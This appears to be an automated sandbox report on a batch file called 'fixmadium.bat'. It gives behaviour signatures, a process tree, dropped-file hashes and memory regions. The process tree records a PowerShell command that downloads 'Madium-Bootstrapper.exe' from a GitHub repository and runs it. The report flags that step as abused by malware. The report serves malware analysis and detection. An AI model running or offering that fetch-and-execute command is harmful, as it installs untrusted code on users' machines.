Analysis

  • user interaction
    yes
  • max time kernel
    45s
  • max time network
    38s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260630-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260630-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/06/2026, 10:16

General

  • Target
    fixmadium.bat
  • Size 1KB
  • Sample260630-marksacy3r
  • SHA256 e5d1a460ff24c1f07ab2c63e8865bf97ac43f73c4c434d7b8f1ffae187dd6abf
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Executes dropped EXE 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fixmadium.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4224
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://github.com/RandomFixes/MadiumFixes/raw/refs/heads/main/Madium-Bootstrapper.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Madium-Bootstrapper.exe'"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5524
    • C:\Users\Admin\AppData\Local\Temp\Madium-Bootstrapper.exe
      "C:\Users\Admin\AppData\Local\Temp\Madium-Bootstrapper.exe"
      2⤵
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • Suspicious use of WriteProcessMemory
      PID:5896
      • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Madium-Bootstrapper.exe --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --enable-features=MojoIpcz --mojo-named-platform-channel-pipe=5896.1524.14815737183123172828 /pfhostedapp:f26287c6de5612ef0dc063002e03d0ed6b64a47a
        3⤵
        • Drops file in Windows directory
        • Enumerates system info in registry
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of WriteProcessMemory
        PID:5760
        • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
          "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView /prefetch:4 /pfhostedapp:f26287c6de5612ef0dc063002e03d0ed6b64a47a --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.139 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=122.0.2365.106 --initial-client-data=0x184,0x188,0x18c,0x160,0x194,0x7ffe02195fd8,0x7ffe02195fe4,0x7ffe02195ff0
          4⤵
            PID:6232
          • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
            "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView" --webview-exe-name=Madium-Bootstrapper.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1788 --field-trial-handle=1792,i,10996144952921447941,2482515848067064491,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:2 /pfhostedapp:f26287c6de5612ef0dc063002e03d0ed6b64a47a
            4⤵
              PID:6528
            • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
              "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView" --webview-exe-name=Madium-Bootstrapper.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=2268 --field-trial-handle=1792,i,10996144952921447941,2482515848067064491,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:3 /pfhostedapp:f26287c6de5612ef0dc063002e03d0ed6b64a47a
              4⤵
                PID:6832
              • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
                "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView" --webview-exe-name=Madium-Bootstrapper.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --mojo-platform-channel-handle=2332 --field-trial-handle=1792,i,10996144952921447941,2482515848067064491,262144 --enable-features=MojoIpcz --variations-seed-version /prefetch:8 /pfhostedapp:f26287c6de5612ef0dc063002e03d0ed6b64a47a
                4⤵
                  PID:1744
                • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
                  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView" --webview-exe-name=Madium-Bootstrapper.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3432 --field-trial-handle=1792,i,10996144952921447941,2482515848067064491,262144 --enable-features=MojoIpcz --variations-seed-version /pfhostedapp:f26287c6de5612ef0dc063002e03d0ed6b64a47a /prefetch:1
                  4⤵
                    PID:6836

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  Madium-Bootstrapper.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\Madium-Bootstrapper.exe
                  • Size 6.9MB
                  • SHA256 1650251facc91ff98b7c710c9a3949ddcc1c91c08fd4c789ca0295be977c0b26
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  settings.dat

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\Crashpad\settings.dat
                  • Size 280B
                  • SHA256 3a9c151a6d88fcdfb296a43215eb06b627eb231eeb1985a019220d461ecca741
                  • MD5 SHA1 SHA512 TLSH

                  settings.dat

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\Crashpad\settings.dat
                  • Size 280B
                  • SHA256 811908c535a914f7f9de00904631c5bcd7271868d1f2e758a414db8d12c96022
                  • MD5 SHA1 SHA512

                  settings.dat

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\Crashpad\settings.dat
                  • Size 280B
                  • SHA256 733b5731ae19e8f77d158c5f74f1dab1fc61508e965965b4881dbdc37181a62b
                  • MD5 SHA1 SHA512 TLSH

                  throttle_store.dat

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\Crashpad\throttle_store.dat
                  • Size 20B
                  • SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
                  • MD5 SHA1 SHA512

                  MANIFEST-000001

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\Default\Extension Rules\MANIFEST-000001
                  • Size 41B
                  • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                  • MD5 SHA1 SHA512

                  SCT Auditing Pending Reports

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\Default\Network\SCT Auditing Pending Reports
                  • Size 2B
                  • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                  • MD5 SHA1 SHA512

                  CURRENT

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\Default\Sync Data\LevelDB\CURRENT
                  • Size 16B
                  • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                  • MD5 SHA1 SHA512

                  data_0

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\GraphiteDawnCache\data_0
                  • Size 8KB
                  • SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
                  • MD5 SHA1 SHA512 SSDEEP

                  data_1

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\GraphiteDawnCache\data_1
                  • Size 264KB
                  • SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
                  • MD5 SHA1 SHA512 SSDEEP

                  data_2

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\GraphiteDawnCache\data_2
                  • Size 8KB
                  • SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
                  • MD5 SHA1 SHA512 SSDEEP

                  data_3

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\GraphiteDawnCache\data_3
                  • Size 8KB
                  • SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
                  • MD5 SHA1 SHA512 SSDEEP

                  Local State

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\Local State
                  • Size 2KB
                  • SHA256 915c0999eb339932656a7ae520c2ab61f96920e65480677c31f3fb33e06fcdee
                  • MD5 SHA1 SHA512 TLSH

                  Local State

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\Local State
                  • Size 3KB
                  • SHA256 da6f096deaf207a247f37aa0fb0395136fa9876a5c6ce59ff23639ccb90d0d81
                  • MD5 SHA1 SHA512 TLSH

                  Local State

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\Local State
                  • Size 15KB
                  • SHA256 1e2d25faac45548679d0fafd9ab3bcfadf1d595888866895660e006bdbd0cc46
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  Local State~RFe58eaa9.TMP

                  • Path C:\Users\Admin\AppData\Local\Temp\MadiumLottie-{5FE147E8-3C2B-4B11-B5C2-C9934DDEDFF7}\wv2\EBWebView\Local State~RFe58eaa9.TMP
                  • Size 1KB
                  • SHA256 978088a9039c4e69e157f515c34792c8468c0efce75e751c8ab4d2cd0d0398ca
                  • MD5 SHA1 SHA512 TLSH

                  __PSScriptPolicyTest_hd5fm5kq.j1e.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hd5fm5kq.j1e.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  memory/5524-11-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-14-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-23-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-22-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-20-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-6-0x000001C747390000-0x000001C7473B2000-memory.dmp

                  memory/5524-19-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-18-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-17-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-0-0x00007FFE01EDF000-0x00007FFE01EE0000-memory.dmp

                  memory/5524-27-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-15-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-16-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-13-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-12-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-24-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-7-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-10-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/5524-9-0x00007FFE01D50000-0x00007FFE026F4000-memory.dmp

                  memory/6528-61-0x00007FFE23F50000-0x00007FFE23F51000-memory.dmp

                  memory/6528-331-0x0000018DB04C0000-0x0000018DB0593000-memory.dmp

                  memory/6836-158-0x00007FFE23F50000-0x00007FFE23F51000-memory.dmp